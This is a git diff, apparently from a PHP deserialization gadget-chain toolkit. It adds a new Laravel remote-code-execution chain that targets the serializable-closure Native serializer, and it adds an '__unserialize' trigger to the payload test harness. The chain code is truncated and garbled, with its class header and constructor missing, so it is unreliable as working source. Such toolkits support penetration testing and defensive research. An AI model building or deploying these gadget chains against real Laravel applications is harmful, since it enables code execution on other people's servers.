diff --git a/gadgetchains/Laravel/RCE/23/chain.php b/gadgetchains/Laravel/RCE/23/chain.php new file mode 100644 index 00000000..ea1a6eb4 --- /dev/null +++ b/gadgetchains/Laravel/RCE/23/chain.php @@ -0,0 +1,20 @@ +code = $code; + } + + // target: https://github.com/laravel/serializable-closure/blob/cb291e4c998ac50637c7eeb58189c14f5de5b9dd/src/Serializers/Native.php#L167-L205 + + public function __serialize() + { + return [ + 'use' => false, + 'function' => $this->code + ]; + } + } +} diff --git a/lib/test_payload.php b/lib/test_payload.php index d2d6b9cc..14df06c2 100755 --- a/lib/test_payload.php +++ b/lib/test_payload.php @@ -43,6 +43,7 @@ break; case '__destruct': case '__wakeup': + case '__unserialize': $payload = unserialize($payload); break; default: